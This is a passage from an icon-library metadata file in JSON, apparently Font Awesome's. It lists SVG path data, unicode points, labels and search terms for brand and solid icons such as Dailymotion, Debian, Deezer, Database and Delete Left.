4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"
      }
    },
    "free": ["brands"]
  },
  "dailymotion": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e052",
    "label": "dailymotion",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"
      }
    },
    "free": ["brands"]
  },
  "dashcube": {
    "changes": ["4.3.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f210",
    "label": "DashCube",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"
      }
    },
    "free": ["brands"]
  },
  "database": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["computer", "development", "directory", "memory", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f1c0",
    "label": "Database",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v48c0 44.2-100.3 80-224 80S0 172.2 0 128V80C0 35.8 100.3 0 224 0S448 35.8 448 80zM393.2 214.7c20.8-7.4 39.9-16.9 54.8-28.6V288c0 44.2-100.3 80-224 80S0 332.2 0 288V186.1c14.9 11.8 34 21.2 54.8 28.6C99.7 230.7 159.5 240 224 240s124.3-9.3 169.2-25.3zM0 346.1c14.9 11.8 34 21.2 54.8 28.6C99.7 390.7 159.5 400 224 400s124.3-9.3 169.2-25.3c20.8-7.4 39.9-16.9 54.8-28.6V432c0 44.2-100.3 80-224 80S0 476.2 0 432V346.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 80v48c0 44.2-100.3 80-224 80S0 172.2 0 128V80C0 35.8 100.3 0 224 0S448 35.8 448 80zM393.2 214.7c20.8-7.4 39.9-16.9 54.8-28.6V288c0 44.2-100.3 80-224 80S0 332.2 0 288V186.1c14.9 11.8 34 21.2 54.8 28.6C99.7 230.7 159.5 240 224 240s124.3-9.3 169.2-25.3zM0 346.1c14.9 11.8 34 21.2 54.8 28.6C99.7 390.7 159.5 400 224 400s124.3-9.3 169.2-25.3c20.8-7.4 39.9-16.9 54.8-28.6V432c0 44.2-100.3 80-224 80S0 476.2 0 432V346.1z"
      }
    },
    "free": ["solid"]
  },
  "debian": {
    "changes": ["6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e60b",
    "label": "Debian",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1682957890,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248.2 .9c-4 .2-8.1 .4-11.4 1.6l-3.4-.5c5.4-.7 10.9-1.1 16.4-1.5c2.4-.2 4.8-.4 7.2-.6c-2.7 .6-5.7 .8-8.8 .9zm132 244.7c3-7.6 5.5-14 5.2-24.4l-4.3 9c4.4-13.2 4-27.1 3.6-40.4c-.2-6-.3-11.8 0-17.4l-1.8-.5c-1.5-45.2-40.6-93.1-75.3-109.4c-30-13.8-76.1-16.2-97.3-5.8c1.3-1.1 4.2-2 6.8-2.7c3.4-1 6.3-1.8 4.3-3c-19.2 1.9-24.9 5.5-31.1 9.4c-4.6 2.9-9.5 6-20.3 8.7c-3.5 3.4 1.7 2 5.8 .9c4.1-1.1 7.2-1.9-.1 2.4c-3.6 1-6.7 1.3-9.7 1.6c-8.3 .8-15.8 1.6-30.7 17c.8 1.3 3.5-.3 5.4-1.4c2.3-1.4 3.4-2-1.7 4.4c-19.1-2.4-60.3 43.7-69.1 59l4.6 .8c-3.2 8-6.8 14.8-10 20.8c-4.3 8.1-7.9 14.9-8.7 21.3c-.4 5.9-1.2 12.9-2 20.3c-3 27.4-6.8 61.3 3.8 73.6l-1.3 13c.6 1.2 1.1 2.3 1.6 3.5c1.2 2.5 2.3 5 3.9 7.4l-3 .2c7 22.2 10.8 22.5 15.1 22.9c4.4 .4 9.3 .9 18.7 24.2c-2.7-.9-5.5-1.9-9.4-7.2c-.5 4.1 5.8 16.3 13.1 25.8l-3.1 3.6c3.2 5.8 6.1 8.1 8.6 10l0 0c.8 .6 1.5 1.1 2.1 1.7c-11.9-6.5 3.2 13.7 11.9 25.2c2.5 3.4 4.5 6 5.1 7l2.4-4.2c-.3 6.1 4.3 13.9 13.1 24.7l7.3-.3c3 6 14 16.7 20.7 17.2l-4.4 5.8c8.1 2.6 10.3 4.3 12.7 6.2c2.6 2.1 5.4 4.3 16.1 8.1l-4.2-7.4c3.5 3 6.2 5.9 8.8 8.7c5.2 5.6 9.9 10.7 19.8 15.4c11.2 3.9 17.1 4.8 23.6 5.9c5.4 .8 11.2 1.8 20.8 4.5c-2.2-.1-4.4-.1-6.7-.2l0 0h0c-16.3-.4-34-.8-46.4-5.2C107.8 480.5 19.5 367.2 26 250.6c-.6-9.9-.3-20.9 0-30.7c.4-13.5 .7-24.8-1.6-28.3l1-3.1c5.3-17.4 11.7-38.2 23.8-62.8l-.1-.2 0-.1 0 0 0 0c.4 .4 3.4 3.4 8.8-5.8c1.3-2.9 2.5-5.8 3.8-8.8l0 0c2.5-6.1 5.1-12.3 8.4-17.9l2.6-.6c1.7-10.1 17-23.8 29.8-35.2l0 0c6.1-5.5 11.6-10.4 14.7-14.1l.7 4.4c17.1-16 45-27.7 66.1-36.6c4.8-2 9.3-3.9 13.3-5.7c-3.4 3.8 2.2 2.7 10 1c4.8-1 10.4-2.1 15.3-2.4c-1.3 .7-2.6 1.4-3.9 2.1l0 0 0 0c-2.7 1.4-5.4 2.8-8 4.6c8.3-2 11.9-1.4 16-.8c3.5 .6 7.3 1.2 14.6 .2c-5.6 .8-12.3 3-11.2 3.8c7.9 .9 12.8-.1 17.2-1c5.6-1.1 10.4-2.1 19.5 .9l-1-4.8c7.5 2.7 13.1 4.4 18 5.9c10 3 17.6 5.3 34.2 14.1c3.2 .2 5.3-.5 7.4-1.2c3.6-1.1 7-2.2 15.3 1.2c.5 .8 .7 1.5 1 2.1c1 2.6 1.7 4.6 14.6 12.2c1.8-.7-3.1-5.1-7-8.7l-.2-.1c32.3 17.3 67.5 54.1 78.2 93.6c-6-11.1-5.2-5.5-4.3 .5c.6 4 1.2 8.1-.2 7.5c4.5 12.1 8.1 24.5 10.4 37.4l-.8-2.9c-3.3-11.8-9.6-34.5-20-49.6c-.4 4.4-2.9 3.9-5.3 3.5c-3.3-.6-6.3-1.2-1.9 12.6c2.6 3.8 3.1 2.4 3.5 1.1c.5-1.5 .9-2.8 4.7 5.2c.1 4.3 1.1 8.5 2.2 13.3l0 0 0 0 0 0 0 0 0 0 0 0c.7 3 1.5 6.2 2.1 9.8c-1.1-.2-2.3-2.2-3.4-4.2l0 0 0 0c-1.4-2.4-2.8-4.7-3.7-3.2c2.4 11.5 6.5 17.4 8 18.3c-.3 .6-.6 .7-1.1 .7c-.8 0-1.8 .1-1.9 5.3c.7 13.7 3.3 12.5 5.3 11.6c.6-.3 1.2-.6 1.7-.4c-.6 2.5-1.6 5.1-2.7 7.9l0 0c-2.8 7.1-6 15.4-3.4 26.1c-.8-3.1-2.1-6.3-3.3-9.3l0 0 0 0c-.5-1.3-1.1-2.6-1.5-3.8c-.6 4.8-.3 8.2-.1 11.3c.4 5.3 .7 10-3 19.9c4.3-14.2 3.8-26.9-.2-20.8c1 11-3.8 20.5-8.1 29.1c-3.6 7.1-6.8 13.5-5.9 19.3l-5.2-7.1c-7.6 11-7 13.3-6.5 15.6c.5 1.9 1 3.8-3.4 10.8c1.7-2.9 1.3-3.6 1-4.2c-.4-.8-.7-1.5 1.7-5.1c-1.6 .1-5.5 3.9-10.1 8.5l0 0c-3.9 3.9-8.5 8.4-12.8 11.8c-37.5 30.1-82.3 34-125.6 17.8l0 0c.2-1-.2-2.1-3.1-4.1c-36.8-28.2-58.5-52.1-50.9-107.5c2.2-1.7 3.7-6.2 5.6-11.6c2.9-8.4 6.5-18.9 14.3-23.9c7.8-17.3 31.3-33.3 56.4-33.7c25.6-1.4 47.2 13.7 58.1 27.9c-19.8-18.4-52.1-24-79.7-10.4c-28.2 12.7-45 43.8-42.5 74.7c.3-.5 .7-.7 1-.9c.6-.5 1.2-.9 1.5-3.4c-.9 60.2 64.8 104.3 112.1 82l.6 1.3c12.7-3.5 15.9-6.5 20.3-10.7c2.2-2.1 4.7-4.5 9-7.4c-.3 .7-1.3 1.7-2.4 2.7c-2.2 2.1-4.6 4.5-1.6 4.6c5.3-1.4 20.1-14.8 30.2-23.8l0 0 0 0c1.6-1.4 3-2.7 4.3-3.9c2-4.3 1.6-5.7 1.3-7.1c-.4-1.6-.8-3.3 2.4-9.6l7.3-3.7c1-2.8 2-5.4 2.9-7.8l0 0zM233.1 321.9a.9 .9 0 1 0 -1.7 0 .9 .9 0 1 0 1.7 0zm-.2 .5l-.2 .4c-.3 .7-.6 1.4-.3 2.4c-12.2-5.7-23.4-14.3-32.6-24.9c4.9 7.1 10.1 14.1 17 19.5c-6.9-2.3-15.2-11.9-21.7-19.4l0 0 0 0c-4.3-5-7.9-9.1-9.7-9.5c19.8 35.5 80.5 62.3 112.3 49c-14.7 .5-33.4 .3-49.9-5.8c-6.3-3.2-14.6-9.6-14.9-11.8zM237.5 7c3.8 .6 7.3 1.2 6.7 2.1c5-1.1 6.1-2.1-9-2.5c.8 .1 1.6 .3 2.4 .4zm92.2 208.4c-1 3.9-1.8 1.4-2.7-1.2c-.5-1.5-1.1-3.1-1.7-3.4c1.4-5.8 5.4-10.7 4.4 4.6zm-6.8 21.2c-1.3 7.9-5 15.5-10.1 22.5c.2-2-1.2-2.4-2.6-2.8c-2.9-.8-5.9-1.6 5.6-16.1c-.5 2-2.3 4.9-4 7.7l0 0c-3.6 5.9-6.7 11 4 4.3l1-1.8c2.6-4.5 5-8.8 6-13.8zM280 276.6c-11.1-1.7-21.2-6-12.7-6.1c7.1 .6 14.1 .6 21-1.1c-2.5 2.4-5.2 4.8-8.3 7.2zM244.2 9.1l-.2 .4-3 .3 3.2-.7zm-69.5 273c3.7 7.2 6.5 11.7 9.1 15.9c2.3 3.7 4.4 7.1 6.8 11.7c-5.2-4.3-8.9-9.8-12.8-15.5c-1.4-2.1-2.8-4.2-4.4-6.2l1.2-5.9zm7.3-10c1.7 3.4 3.3 6.7 5.9 9.5l2.6 7.7-1.3-2.1c-3.2-5.3-6.3-10.6-8-16.7l.8 1.6zm239.1-41.2c-2.3 17.4-7.7 34.6-16 50.3c7.6-14.9 12.5-30.9 14.8-47.2l1.2-3.1zM35.4 109.6c0 .3 0 .5 .1 .7c0-.2 0-.5-.1-.7zm.1 .7c.3 1.2 1.4 .9 2.4 .6c1.9-.5 3.6-.9-.1 7.6c-2.4 1.7-3.8 2.8-4.6 3.4c-.6 .4-.8 .6-.8 .6c0 0 .1-.2 .3-.5c.8-1.4 3.4-5.5 2.9-11.7zm-10.2 42c-.7 3.7-1.5 7.9-3.4 13.9c.2-1.9 0-3.5-.2-4.9c-.4-3.4-.8-6.3 4.3-12.9c-.3 1.2-.5 2.5-.7 3.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248.2 .9c-4 .2-8.1 .4-11.4 1.6l-3.4-.5c5.4-.7 10.9-1.1 16.4-1.5c2.4-.2 4.8-.4 7.2-.6c-2.7 .6-5.7 .8-8.8 .9zm132 244.7c3-7.6 5.5-14 5.2-24.4l-4.3 9c4.4-13.2 4-27.1 3.6-40.4c-.2-6-.3-11.8 0-17.4l-1.8-.5c-1.5-45.2-40.6-93.1-75.3-109.4c-30-13.8-76.1-16.2-97.3-5.8c1.3-1.1 4.2-2 6.8-2.7c3.4-1 6.3-1.8 4.3-3c-19.2 1.9-24.9 5.5-31.1 9.4c-4.6 2.9-9.5 6-20.3 8.7c-3.5 3.4 1.7 2 5.8 .9c4.1-1.1 7.2-1.9-.1 2.4c-3.6 1-6.7 1.3-9.7 1.6c-8.3 .8-15.8 1.6-30.7 17c.8 1.3 3.5-.3 5.4-1.4c2.3-1.4 3.4-2-1.7 4.4c-19.1-2.4-60.3 43.7-69.1 59l4.6 .8c-3.2 8-6.8 14.8-10 20.8c-4.3 8.1-7.9 14.9-8.7 21.3c-.4 5.9-1.2 12.9-2 20.3c-3 27.4-6.8 61.3 3.8 73.6l-1.3 13c.6 1.2 1.1 2.3 1.6 3.5c1.2 2.5 2.3 5 3.9 7.4l-3 .2c7 22.2 10.8 22.5 15.1 22.9c4.4 .4 9.3 .9 18.7 24.2c-2.7-.9-5.5-1.9-9.4-7.2c-.5 4.1 5.8 16.3 13.1 25.8l-3.1 3.6c3.2 5.8 6.1 8.1 8.6 10l0 0c.8 .6 1.5 1.1 2.1 1.7c-11.9-6.5 3.2 13.7 11.9 25.2c2.5 3.4 4.5 6 5.1 7l2.4-4.2c-.3 6.1 4.3 13.9 13.1 24.7l7.3-.3c3 6 14 16.7 20.7 17.2l-4.4 5.8c8.1 2.6 10.3 4.3 12.7 6.2c2.6 2.1 5.4 4.3 16.1 8.1l-4.2-7.4c3.5 3 6.2 5.9 8.8 8.7c5.2 5.6 9.9 10.7 19.8 15.4c11.2 3.9 17.1 4.8 23.6 5.9c5.4 .8 11.2 1.8 20.8 4.5c-2.2-.1-4.4-.1-6.7-.2l0 0h0c-16.3-.4-34-.8-46.4-5.2C107.8 480.5 19.5 367.2 26 250.6c-.6-9.9-.3-20.9 0-30.7c.4-13.5 .7-24.8-1.6-28.3l1-3.1c5.3-17.4 11.7-38.2 23.8-62.8l-.1-.2 0-.1 0 0 0 0c.4 .4 3.4 3.4 8.8-5.8c1.3-2.9 2.5-5.8 3.8-8.8l0 0c2.5-6.1 5.1-12.3 8.4-17.9l2.6-.6c1.7-10.1 17-23.8 29.8-35.2l0 0c6.1-5.5 11.6-10.4 14.7-14.1l.7 4.4c17.1-16 45-27.7 66.1-36.6c4.8-2 9.3-3.9 13.3-5.7c-3.4 3.8 2.2 2.7 10 1c4.8-1 10.4-2.1 15.3-2.4c-1.3 .7-2.6 1.4-3.9 2.1l0 0 0 0c-2.7 1.4-5.4 2.8-8 4.6c8.3-2 11.9-1.4 16-.8c3.5 .6 7.3 1.2 14.6 .2c-5.6 .8-12.3 3-11.2 3.8c7.9 .9 12.8-.1 17.2-1c5.6-1.1 10.4-2.1 19.5 .9l-1-4.8c7.5 2.7 13.1 4.4 18 5.9c10 3 17.6 5.3 34.2 14.1c3.2 .2 5.3-.5 7.4-1.2c3.6-1.1 7-2.2 15.3 1.2c.5 .8 .7 1.5 1 2.1c1 2.6 1.7 4.6 14.6 12.2c1.8-.7-3.1-5.1-7-8.7l-.2-.1c32.3 17.3 67.5 54.1 78.2 93.6c-6-11.1-5.2-5.5-4.3 .5c.6 4 1.2 8.1-.2 7.5c4.5 12.1 8.1 24.5 10.4 37.4l-.8-2.9c-3.3-11.8-9.6-34.5-20-49.6c-.4 4.4-2.9 3.9-5.3 3.5c-3.3-.6-6.3-1.2-1.9 12.6c2.6 3.8 3.1 2.4 3.5 1.1c.5-1.5 .9-2.8 4.7 5.2c.1 4.3 1.1 8.5 2.2 13.3l0 0 0 0 0 0 0 0 0 0 0 0c.7 3 1.5 6.2 2.1 9.8c-1.1-.2-2.3-2.2-3.4-4.2l0 0 0 0c-1.4-2.4-2.8-4.7-3.7-3.2c2.4 11.5 6.5 17.4 8 18.3c-.3 .6-.6 .7-1.1 .7c-.8 0-1.8 .1-1.9 5.3c.7 13.7 3.3 12.5 5.3 11.6c.6-.3 1.2-.6 1.7-.4c-.6 2.5-1.6 5.1-2.7 7.9l0 0c-2.8 7.1-6 15.4-3.4 26.1c-.8-3.1-2.1-6.3-3.3-9.3l0 0 0 0c-.5-1.3-1.1-2.6-1.5-3.8c-.6 4.8-.3 8.2-.1 11.3c.4 5.3 .7 10-3 19.9c4.3-14.2 3.8-26.9-.2-20.8c1 11-3.8 20.5-8.1 29.1c-3.6 7.1-6.8 13.5-5.9 19.3l-5.2-7.1c-7.6 11-7 13.3-6.5 15.6c.5 1.9 1 3.8-3.4 10.8c1.7-2.9 1.3-3.6 1-4.2c-.4-.8-.7-1.5 1.7-5.1c-1.6 .1-5.5 3.9-10.1 8.5l0 0c-3.9 3.9-8.5 8.4-12.8 11.8c-37.5 30.1-82.3 34-125.6 17.8l0 0c.2-1-.2-2.1-3.1-4.1c-36.8-28.2-58.5-52.1-50.9-107.5c2.2-1.7 3.7-6.2 5.6-11.6c2.9-8.4 6.5-18.9 14.3-23.9c7.8-17.3 31.3-33.3 56.4-33.7c25.6-1.4 47.2 13.7 58.1 27.9c-19.8-18.4-52.1-24-79.7-10.4c-28.2 12.7-45 43.8-42.5 74.7c.3-.5 .7-.7 1-.9c.6-.5 1.2-.9 1.5-3.4c-.9 60.2 64.8 104.3 112.1 82l.6 1.3c12.7-3.5 15.9-6.5 20.3-10.7c2.2-2.1 4.7-4.5 9-7.4c-.3 .7-1.3 1.7-2.4 2.7c-2.2 2.1-4.6 4.5-1.6 4.6c5.3-1.4 20.1-14.8 30.2-23.8l0 0 0 0c1.6-1.4 3-2.7 4.3-3.9c2-4.3 1.6-5.7 1.3-7.1c-.4-1.6-.8-3.3 2.4-9.6l7.3-3.7c1-2.8 2-5.4 2.9-7.8l0 0zM233.1 321.9a.9 .9 0 1 0 -1.7 0 .9 .9 0 1 0 1.7 0zm-.2 .5l-.2 .4c-.3 .7-.6 1.4-.3 2.4c-12.2-5.7-23.4-14.3-32.6-24.9c4.9 7.1 10.1 14.1 17 19.5c-6.9-2.3-15.2-11.9-21.7-19.4l0 0 0 0c-4.3-5-7.9-9.1-9.7-9.5c19.8 35.5 80.5 62.3 112.3 49c-14.7 .5-33.4 .3-49.9-5.8c-6.3-3.2-14.6-9.6-14.9-11.8zM237.5 7c3.8 .6 7.3 1.2 6.7 2.1c5-1.1 6.1-2.1-9-2.5c.8 .1 1.6 .3 2.4 .4zm92.2 208.4c-1 3.9-1.8 1.4-2.7-1.2c-.5-1.5-1.1-3.1-1.7-3.4c1.4-5.8 5.4-10.7 4.4 4.6zm-6.8 21.2c-1.3 7.9-5 15.5-10.1 22.5c.2-2-1.2-2.4-2.6-2.8c-2.9-.8-5.9-1.6 5.6-16.1c-.5 2-2.3 4.9-4 7.7l0 0c-3.6 5.9-6.7 11 4 4.3l1-1.8c2.6-4.5 5-8.8 6-13.8zM280 276.6c-11.1-1.7-21.2-6-12.7-6.1c7.1 .6 14.1 .6 21-1.1c-2.5 2.4-5.2 4.8-8.3 7.2zM244.2 9.1l-.2 .4-3 .3 3.2-.7zm-69.5 273c3.7 7.2 6.5 11.7 9.1 15.9c2.3 3.7 4.4 7.1 6.8 11.7c-5.2-4.3-8.9-9.8-12.8-15.5c-1.4-2.1-2.8-4.2-4.4-6.2l1.2-5.9zm7.3-10c1.7 3.4 3.3 6.7 5.9 9.5l2.6 7.7-1.3-2.1c-3.2-5.3-6.3-10.6-8-16.7l.8 1.6zm239.1-41.2c-2.3 17.4-7.7 34.6-16 50.3c7.6-14.9 12.5-30.9 14.8-47.2l1.2-3.1zM35.4 109.6c0 .3 0 .5 .1 .7c0-.2 0-.5-.1-.7zm.1 .7c.3 1.2 1.4 .9 2.4 .6c1.9-.5 3.6-.9-.1 7.6c-2.4 1.7-3.8 2.8-4.6 3.4c-.6 .4-.8 .6-.8 .6c0 0 .1-.2 .3-.5c.8-1.4 3.4-5.5 2.9-11.7zm-10.2 42c-.7 3.7-1.5 7.9-3.4 13.9c.2-1.9 0-3.5-.2-4.9c-.4-3.4-.8-6.3 4.3-12.9c-.3 1.2-.5 2.5-.7 3.8z"
      }
    },
    "free": ["brands"]
  },
  "deezer": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e077",
    "label": "Deezer",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"
      }
    },
    "free": ["brands"]
  },
  "delete-left": {
    "aliases": {
      "names": ["backspace"],
      "unicodes": {
        "composite": ["232b"],
        "secondary": ["10f55a"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Erase to the Left",
        "command",
        "delete",
        "erase",
        "keyboard",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55a",
    "label": "Delete Left",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 128c0-35.3-28.7-64-64-64H205.3c-17 0-33.3 6.7-45.3 18.7L9.4 233.4c-6 6-9.4 14.1-9.4 22.6s3.4 16.6 9.4 22.6L160 429.3c12 12 28.3 18.7 45.3 18.7H512c35.3 0 64-28.7 64-64V128zM271 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M576 128c0-35.3-28.7-64-64-64H205.3c-17 0-33.3 6.7-45.3 18.7L9.4 233.4c-6 6-9.4 14.1-9.4 22.6s3.4 16.6 9.4 22.6L160 429.3c12 12 28.3 18.7 45.3 18.7H512c35.3 0 64-28.7 64-64V128zM271 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["solid"]
  },
  "delicious": {
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a5",
    "label": "Delicious",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
